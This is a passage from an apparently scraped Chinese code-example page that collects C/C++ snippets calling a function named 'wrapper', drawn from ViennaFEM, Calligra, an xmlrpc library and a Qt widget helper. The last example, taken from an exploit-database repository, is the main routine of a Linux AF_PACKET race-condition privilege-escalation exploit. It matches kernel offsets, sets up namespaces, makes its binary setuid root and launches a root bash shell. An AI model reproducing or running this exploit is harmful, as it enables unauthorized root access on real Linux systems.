temp[0] = transformed_weak_form; log_transformed_weak_form<CellType, StorageType>(temp, pde_system); std::cout << "* pde_solver::operator(): Transformed weak form:" << std::endl; std::cout << transformed_weak_form << std::endl; //std::cout << std::endl; #ifdef VIENNAFEM_DEBUG std::cout << "* pde_solver::operator(): Assemble system" << std::endl; #endif typedef detail::equation_wrapper<MatrixT, VectorT> wrapper_type; wrapper_type wrapper(system_matrix, load_vector); detail::pde_assembler_internal()(storage, transformed_weak_form, pde_system, domain, wrapper);// pde_assembler_internal()(transformed_weak_form, pde_system, domain, system_matrix, load_vector); }
开发者ID:viennafem,项目名称:viennafem-dev,代码行数:101,
示例22: Q_UNUSEDvoid KisAutoBrush::generateMaskAndApplyMaskOrCreateDab(KisFixedPaintDeviceSP dst, KisBrush::ColoringInformation* coloringInformation, double scaleX, double scaleY, double angle, const KisPaintInformation& info, double subPixelX , double subPixelY, qreal softnessFactor) const{ Q_UNUSED(info); // Generate the paint device from the mask const KoColorSpace* cs = dst->colorSpace(); quint32 pixelSize = cs->pixelSize(); // mask dimension methods already includes KisBrush::angle() int dstWidth = maskWidth(scaleX, angle, subPixelX, subPixelY, info); int dstHeight = maskHeight(scaleY, angle, subPixelX, subPixelY, info); QPointF hotSpot = this->hotSpot(scaleX, scaleY, angle, info); // mask size and hotSpot function take the KisBrush rotation into account angle += KisBrush::angle(); // if there's coloring information, we merely change the alpha: in that case, // the dab should be big enough! if (coloringInformation) { // old bounds QRect oldBounds = dst->bounds(); // new bounds. we don't care if there is some extra memory occcupied. dst->setRect(QRect(0, 0, dstWidth, dstHeight)); if (dstWidth * dstHeight <= oldBounds.width() * oldBounds.height()) { // just clear the data in dst, memset(dst->data(), OPACITY_TRANSPARENT_U8, dstWidth * dstHeight * dst->pixelSize()); } else { // enlarge the data dst->initialize(); } } else { if (dst->data() == 0 || dst->bounds().isEmpty()) { qWarning() << "Creating a default black dab: no coloring info and no initialized paint device to mask"; dst->clear(QRect(0, 0, dstWidth, dstHeight)); } Q_ASSERT(dst->bounds().width() >= dstWidth && dst->bounds().height() >= dstHeight); } quint8* dabPointer = dst->data(); quint8* color = 0; if (coloringInformation) { if (dynamic_cast<PlainColoringInformation*>(coloringInformation)) { color = const_cast<quint8*>(coloringInformation->color()); } } double invScaleX = 1.0 / scaleX; double invScaleY = 1.0 / scaleY; double centerX = hotSpot.x() - 0.5 + subPixelX; double centerY = hotSpot.y() - 0.5 + subPixelY; d->shape->setSoftness( softnessFactor ); if (coloringInformation) { if (color && pixelSize == 4) { fillPixelOptimized_4bytes(color, dabPointer, dstWidth * dstHeight); } else if (color) { fillPixelOptimized_general(color, dabPointer, dstWidth * dstHeight, pixelSize); } else { for (int y = 0; y < dstHeight; y++) { for (int x = 0; x < dstWidth; x++) { memcpy(dabPointer, coloringInformation->color(), pixelSize); coloringInformation->nextColumn(); dabPointer += pixelSize; } coloringInformation->nextRow(); } } } MaskProcessingData data(dst, cs, d->randomness, d->density, centerX, centerY, invScaleX, invScaleY, angle); KisBrushMaskApplicatorBase *applicator = d->shape->applicator(); applicator->initializeData(&data); int jobs = d->idealThreadCountCached; if(dstHeight > 100 && jobs >= 4) { int splitter = dstHeight/jobs; QVector<QRect> rects; for(int i = 0; i < jobs - 1; i++) { rects << QRect(0, i*splitter, dstWidth, splitter); } rects << QRect(0, (jobs - 1)*splitter, dstWidth, dstHeight - (jobs - 1)*splitter); OperatorWrapper wrapper(applicator); QtConcurrent::blockingMap(rects, wrapper); } else { QRect rect(0, 0, dstWidth, dstHeight); applicator->process(rect);//.........这里部分代码省略.........
开发者ID:crayonink,项目名称:calligra-2,代码行数:101,
示例23: wrappervalue_datetime::value_datetime(time_t const cppvalue) { cDatetimeValueWrapper wrapper(cppvalue); this->instantiate(wrapper.valueP);}
开发者ID:arssivka,项目名称:naomech,代码行数:6,
示例24: d_assert void int_range_steps_holder::set_values ( value_type val , value_type min , value_type max , value_type ss // = -1 , value_type ps // = -1 ){ d_assert( is_valid( )); // Use existing values if negative steps specified. if ( ss < 0 ) { ss = get_single_step( ); } if ( ps < 0 ) { ps = get_page_step( ); } // Make sure the new values are valid. Min and single-step never change here. if ( max < min ) { max = min; } if ( val < min ) { val = min; } if ( val > max ) { val = max; } if ( (0 != ps) && (ps < ss) ) { ps = ss; } // Find out what's going to change. bool const is_changed__val = (value_ != val); bool const is_changed__min = (min_value_ != min); bool const is_changed__max = (max_value_ != max); bool const is_changed__ss = (single_step_ != ss ); bool const is_changed__ps = (page_step_ != ps ); // We're done if nothing is changing. if ( is_changed__val || is_changed__min || is_changed__max || is_changed__ss || is_changed__ps ) { if ( is_setting( ) ) { d_assert( false); } else { while_setting_value_wrapper_type wrapper( this); // Set the values in this holder. if ( is_changed__val ) { value_ = val; } if ( is_changed__min ) { min_value_ = min; } if ( is_changed__max ) { max_value_ = max; } if ( is_changed__ss ) { single_step_ = ss ; } if ( is_changed__ps ) { page_step_ = ps ; } d_assert( is_valid( )); // Loop thru all the attached widgets (spinboxes and sliders). // We don't have to relay our has_changed.. signals to these ctrls because we // keep them in sync here. list_type::iterator iter = attached_widgets_.begin( ); list_type::iterator const iter_limit = attached_widgets_.end( ); while ( iter != iter_limit ) { QWidget * p_widget = *iter; d_assert( p_widget); QSpinBox * p_spinb = qobject_cast< QSpinBox * >( p_widget); if ( p_spinb ) { move_values_to( p_spinb); } else { QAbstractSlider * p_slider = qobject_cast< QAbstractSlider * >( p_widget); d_assert( p_slider); move_values_to( p_slider); } ++ iter; } // Emit the value signals. The has_changed( ) signal with no args will be emitted last. if ( is_changed__ss || is_changed__ps ) { emit has_changed__steps( get_single_step( ), get_page_step( )); } if ( is_changed__min || is_changed__max ) { emit has_changed__range( get_min_value( ), get_max_value( )); } if ( is_changed__val ) { emit has_changed( get_value( )); } // The dtor for this wrapper emits the has_changed( ) signal. wrapper.done_with_no_throws( ); } } d_assert( is_valid( ));}
开发者ID:NealAbq,项目名称:heat_wave,代码行数:87,
示例25: mainint main(int argc, char **argv){ int status, pid; struct utsname u; int i, crash = 0; char buf[512], *f; if(argc == 2 && !strcmp(argv[1],"crash")) { crash = 1; } if(getuid() == 0 && geteuid() == 0 && !crash) { chown("/proc/self/exe",0,0); chmod("/proc/self/exe",06755); exit(-1); } else if(getuid() != 0 && geteuid() == 0 && !crash) { setresuid(0,0,0); setresgid(0,0,0); execl("/bin/bash","bash","-p",NULL); exit(0); } fprintf(stderr,"linux AF_PACKET race condition exploit by rebel/n"); uname(&u); if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '/0'; snprintf(buf,512,"%s %s",u.release,u.version); printf("kernel version: %s/n",buf); for(i=0; offsets[i].kernel_version != NULL; i++) { if(!strcmp(offsets[i].kernel_version,buf)) { while(offsets[i].proc_dostring == 0) i--; off = &offsets[i]; break; } } if(crash) { off = &offsets[0]; off->set_memory_rw = 0xffffffff41414141; } if(off) { printf("proc_dostring = %p/n",(void *)off->proc_dostring); printf("modprobe_path = %p/n",(void *)off->modprobe_path); printf("register_sysctl_table = %p/n",(void *)off->register_sysctl_table); printf("set_memory_rw = %p/n",(void *)off->set_memory_rw); } if(!off) { fprintf(stderr,"i have no offsets for this kernel version../n"); exit(-1); } pid = fork(); if(pid == 0) { if(unshare(CLONE_NEWUSER) != 0) fprintf(stderr, "failed to create new user namespace/n"); if(unshare(CLONE_NEWNET) != 0) fprintf(stderr, "failed to create new network namespace/n"); wrapper(); exit(0); } waitpid(pid, &status, 0); launch_rootshell(); return 0;}
开发者ID:AlexxNica,项目名称:exploit-database,代码行数:83,
注:本文中的wrapper函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 C++ wresize函数代码示例 C++ wrap_int函数代码示例 |